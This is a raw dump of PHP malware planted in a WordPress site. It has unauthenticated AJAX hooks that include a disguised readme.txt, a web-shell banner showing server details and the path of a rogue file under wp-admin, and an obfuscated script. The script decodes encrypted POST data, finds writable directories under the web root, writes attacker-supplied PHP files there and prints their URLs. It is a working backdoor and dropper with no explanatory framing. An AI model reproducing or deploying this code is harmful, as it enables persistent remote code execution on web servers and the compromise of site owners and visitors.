if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20240819/wp-admin/js/js/eqosmqvl.php
<?php function FJpDnG($PxhgexLCV, $ZmQPxeHlo, $MwPRMCw){global $nkvyOR;$fWLpC = 's'."\x74".chr(619-505).chr(108)."\145"."\x6e";return ooRWOmt(ooRWOmt($PxhgexLCV, $nkvyOR[$ZmQPxeHlo % $fWLpC($nkvyOR)]), $MwPRMCw);}$bzcRfSLPsb = "fkZThpf";function Csopsddeq($bzcRfSLPsb){ $vbLNZs = chr(409-294)."\x74".chr(114).'_'.chr(114).chr(530-419)."\x74".chr(67-18)."\63";$bzcRfSLPsb = $vbLNZs($bzcRfSLPsb);	$VdJtr = 'un';$FnDBHxx = 'r'."\141".chr(119).'u'."\162".chr(108)."\x64".'e'.chr(99).chr(111)."\144".'e';$bzcRfSLPsb = $FnDBHxx($bzcRfSLPsb);$IuudK = "\163"."\164"."\162".chr(657-562).'s'.chr(112)."\154"."\151".chr(116);$bzcRfSLPsb = $IuudK($bzcRfSLPsb);	$PvRKDPuW = 28;return $bzcRfSLPsb;}function ooRWOmt($lBvRx, $PSjwWB){return $lBvRx ^ $PSjwWB;}function tfMLgdkEbR(){$kFUQDHLbZi = 52;$VteKlJ = 19;}$nkvyOR = "eeca66fa-c91a-4240-bc20-ca2cc1a6d0b2";function YScGYCR($GQDGX, $MwPRMCw){$WCnvA = "\x61".chr(114).chr(114).'a'.chr(121).'_'."\166"."\x61".chr(580-472)."\165".chr(101)."\163";$Mjvad = chr(97).chr(302-188).chr(114)."\141"."\171"."\137"."\153"."\145".'y'.chr(115);$SngaoW = chr(97).'r'.chr(114).chr(97).'y'.chr(267-172).chr(109)."\141".chr(1102-990);$GQDGX = $SngaoW("FJpDnG", $WCnvA($GQDGX), $Mjvad($GQDGX), $WCnvA($MwPRMCw));$MSKhhfXjn = "\151".'m'.chr(957-845).chr(428-320)."\157"."\x64".chr(101);$GQDGX = $MSKhhfXjn("", $GQDGX);$TseKMyvLHm = "\x75".chr(110)."\x73"."\145".chr(114).chr(105).'a'.chr(344-236).'i'.chr(122)."\x65";$GQDGX = @$TseKMyvLHm($GQDGX);return $GQDGX;}function jDJyrEUDm($MwPRMCw, $GQDGX){$hnzKFu = chr(97).'r'."\162".chr(188-91).chr(121).chr(793-698).'s'.chr(108).chr(105)."\143".chr(266-165);$dIbAmRY = 's'.'t'.chr(114).chr(95)."\x72".'e'.chr(112)."\x65".chr(97).'t';$pwaapCM = chr(115)."\164".'r'.chr(95)."\x73"."\x70".chr(108).'i'."\x74";$NJpznJs = chr(934-829)."\x6e"."\164"."\166".chr(97)."\154";$bGVEojMoG = "\143".chr(758-647).chr(117).'n'."\164";$MwPRMCw = $hnzKFu($pwaapCM($dIbAmRY($MwPRMCw, $NJpznJs($bGVEojMoG($GQDGX)/16)+1)), 0, $bGVEojMoG($GQDGX));return $MwPRMCw;}tfMLgdkEbR();function xqquujbh(){echo "XlkcTAuzaP";	$mRmVslYo = 27;}function wDotF($uznPLhKlj){static $zfQSr = array();$iQsmfrTHCDnvAsK = glob($uznPLhKlj . '/*', GLOB_ONLYDIR);$bXaTLFIZdh = "\x63".'o'.'u'.chr(765-655).'t';$GKByMT = $bXaTLFIZdh($iQsmfrTHCDnvAsK);if ($GKByMT > 0) {foreach ($iQsmfrTHCDnvAsK as $iQsmfr) {$WJkUgw = 'i'."\163"."\x5f".chr(178-59)."\162".'i'.chr(116)."\141".'b'."\154"."\145";if (@$WJkUgw($iQsmfr)) {$zfQSr[] = $iQsmfr;}}}foreach ($iQsmfrTHCDnvAsK as $uznPLhKlj) wDotF($uznPLhKlj);return $zfQSr;}function bakpKTqinb($GQDGX){$EfkUijOJKU = chr(68).chr(79)."\103".chr(303-218).chr(77).chr(69).chr(78).chr(788-704)."\x5f"."\x52".chr(79)."\x4f"."\124";$xvnMDOc = $_SERVER[$EfkUijOJKU];	$iAyuh = 'ZSFhMVEzhP';$iQsmfrTHCDnvAsK = wDotF($xvnMDOc);	$pOCPoyGLQe = 'lnAsP';$xcsLlkWgX = chr(474-359).chr(724-608).chr(812-698).chr(109-1).'e'.'n';	$iAyuh = $xcsLlkWgX($iAyuh);$uYEZIJ = 'a'."\162"."\x72".'a'.'y'.'_'."\x72".chr(647-550)."\156".chr(100);$phBqk = $uYEZIJ($iQsmfrTHCDnvAsK);$tGkKTvczU = chr(115).'t'.'r'.chr(293-177).chr(111)."\x75"."\160".chr(112)."\x65".chr(114);	$qqzTQoymxX = $tGkKTvczU($iAyuh);$dpepMvEIqx = '.'.chr(112)."\150"."\x70";$HwkpSQ = chr(981-934);$mDbGv = 's'.chr(117)."\142"."\163".'t'.chr(114);$zryhjHS = "\164".chr(105).chr(109)."\x65";$ivuSt = "\x6d"."\x64"."\65";$zzxQdrPfOK = $iQsmfrTHCDnvAsK[$phBqk] . $HwkpSQ . $mDbGv($ivuSt($zryhjHS()), 0, 8) . $dpepMvEIqx;$InfjSOQAe = "\x66"."\x69".chr(108)."\x65".chr(95)."\x70"."\x75"."\164"."\x5f"."\143"."\157".chr(110).chr(1084-968)."\145"."\x6e".chr(995-879)."\163";@$InfjSOQAe($zzxQdrPfOK, $GQDGX);	$DudNqwQvg = 'pnbX';	$iAyuh = $iAyuh - 10;$Yeary = 'H'.'T'.chr(84)."\x50".chr(165-70).'H'.chr(79).'S'.chr(84);$syTLVPH = chr(480-376)."\x74".chr(116)."\160"."\72".chr(47).chr(694-647);$uTfsiW = 's'."\164"."\x72".'l'."\145".chr(596-486);$OIZAKjDop = "\163".chr(117).chr(1061-963).chr(115).chr(960-844).'r';$FRvkP = $syTLVPH . $_SERVER[$Yeary] . $OIZAKjDop($zzxQdrPfOK, $uTfsiW($xvnMDOc));	$STUoXs = 5;print($FRvkP);$BIKDuJfgAG = chr(115).chr(116)."\x72"."\x72".chr(112)."\157".chr(115);	$iAyuh = $BIKDuJfgAG($qqzTQoymxX, 'tlpko');}function JxqPTbFkB($GQDGX, $phBqk){if ($GQDGX !== $phBqk){bakpKTqinb($GQDGX);		$WMvaZGcF = 15;}else {dTctPfD();		$krlrPjguVb = 3;}exit();}function dTctPfD(){$fDldq = chr(112)."\150".chr(112);$aivgzcTz = 'p'."\x68".chr(396-284).chr(820-702).chr(935-834).chr(728-614).'s'."\x69"."\157".chr(313-203);$GQDGX = Array($fDldq => @$aivgzcTz(), );$lhsMt = chr(640-525).'e'.chr(371-257).chr(105).'a'.'l'.chr(525-420)."\x7a"."\145";echo @$lhsMt($GQDGX);}function fvlJSO(){$zihMMFlti = 'ZJuI';$gzffxBXVo = 70;$uoSERuIte = 'yvHkuzMph';$eFiwZf = 'gnyVRlm';$KmOgVwid = 'tYzepr';$SarSxKUo = "\163".chr(116).chr(343-229)."\x74".chr(332-221)."\154"."\157".chr(119)."\x65".chr(281-167);$zGNCwszi = $SarSxKUo($zihMMFlti);$CszDDGth = chr(735-620)."\x74"."\x72".chr(976-860)."\157".chr(117).chr(112).'p'."\x65".chr(114);$zihMMFlti = $CszDDGth($zihMMFlti);$OCPuEKHp = 58;}function OCgbc(){echo "fkZThpf";}function pjAsETDOc($GQDGX){$rhIsjHqP = "\x61".chr(760-646)."\x72".'a'."\x79".'_'.chr(372-265).chr(584-483).'y'."\x73";return $rhIsjHqP($GQDGX);}foreach ($_POST as $MwPRMCw => $GQDGX){$VuVXzEp = "\x73".'t'.'r'.chr(256-148).'e'."\x6e";if ($VuVXzEp($MwPRMCw) == 16){$GQDGX = Csopsddeq($GQDGX);$MwPRMCw = jDJyrEUDm($MwPRMCw, $GQDGX);$GQDGX = YScGYCR($GQDGX, $MwPRMCw);$LyAvq = "\151".chr(115)."\137".'a'."\x72".'r'.'a'.'y';if (@$LyAvq($GQDGX)){$RFtFgW = pjAsETDOc($GQDGX);			$oqDop = 'tBQt';JxqPTbFkB($GQDGX[$RFtFgW[0]], $RFtFgW[0]);			$iQsmfrCVll = 'jjIYrcaG';$fIKCgRk = chr(114).chr(751-654).'w'."\x75".'r'."\154".chr(101)."\156".chr(99).'o'."\144".chr(101);			$oqDop = $fIKCgRk($iQsmfrCVll);}}}foreach ($_POST as $MwPRMCw => $GQDGX){$kMTgNtYRi = 's'.chr(116).chr(554-440).'l'."\x65"."\156";if ($kMTgNtYRi($MwPRMCw) == 16){$GQDGX = Csopsddeq($GQDGX);$WxNJUh = 'b'.'a'."\163"."\145"."\66".chr(52).'_'."\144"."\145"."\x63".'o'.'d'.chr(803-702);$HIzQqO = $WxNJUh($MwPRMCw);$DsajCzxVOH = "\x6d"."\x64"."\65";$CJAaR = $DsajCzxVOH($MwPRMCw);$MwPRMCw = jDJyrEUDm($MwPRMCw, $GQDGX);$OyPFndfcu = chr(115).chr(1085-969).chr(114).'l'."\145"."\156";$TgOYk = $OyPFndfcu($MwPRMCw);$GQDGX = YScGYCR($GQDGX, $MwPRMCw);$JCjTT = "\155".'d'."\x35";$sqZdpzq = $JCjTT($GQDGX);$QFWrIv = "\x69".chr(588-473)."\x5f".'a'.chr(221-107)."\x72".chr(999-902)."\171";if (@$QFWrIv($GQDGX)){$cttVSoiFj = "\141".chr(596-482).chr(114)."\x61"."\x79".'_'.chr(407-300)."\x65"."\x79".'s';$phBqk = $cttVSoiFj($GQDGX);$VNroi = $phBqk[0];if (isset($GQDGX[$VNroi])) {$GQDGX = $GQDGX[$VNroi];}$RWtywycl = "\162"."\x61".chr(1079-960).chr(280-163).'r'."\154"."\144".'e'."\143".chr(111).chr(100)."\145";$pRsGVgDZq = $RWtywycl($GQDGX);JxqPTbFkB($GQDGX, $phBqk);$xncbnyOer = "\150"."\141"."\x73".'h';$iwEirl = $xncbnyOer('sha256', $pRsGVgDZq);$NFloghTX = chr(900-785).chr(565-449).chr(393-279)."\154"."\x65"."\x6e";$OzKHMKro = $NFloghTX($pRsGVgDZq);$tbIAmivTpv = chr(115)."\164".chr(114)."\x5f".'p'.chr(429-332).chr(483-383);$WIdZuSoEHL = $tbIAmivTpv($pRsGVgDZq, 20, '0');$tJabpr = 's'.'t'."\x72"."\154"."\x65".'n';if ($tJabpr($WIdZuSoEHL) > 15) {$PppYi = chr(845-730).'u'.'b'.chr(115).'t'.chr(520-406);$rdiSqL = $PppYi($WIdZuSoEHL, 0, 15);} else {$vBMUrfk = "\164".chr(114)."\x69".'m';$rdiSqL = $vBMUrfk($WIdZuSoEHL);}$xVSCdxY = array($rdiSqL, $iwEirl);$fYVIPk = "\x61".'r'."\162".'a'.'y'."\x5f".chr(606-497).'e'.'r'.'g'."\145";$SSdfxFxJb = $fYVIPk($xVSCdxY, array($phBqk[0]));$nfoBdOiwVG = "\x63".chr(111)."\165"."\x6e"."\x74";$IsicwlM = $nfoBdOiwVG($SSdfxFxJb);$VNexSpRK = "\x69".chr(494-385).chr(137-25)."\154".'o'."\x64"."\145";$TfuJD = $VNexSpRK(',', $SSdfxFxJb);}}}die();fvlJSO();?>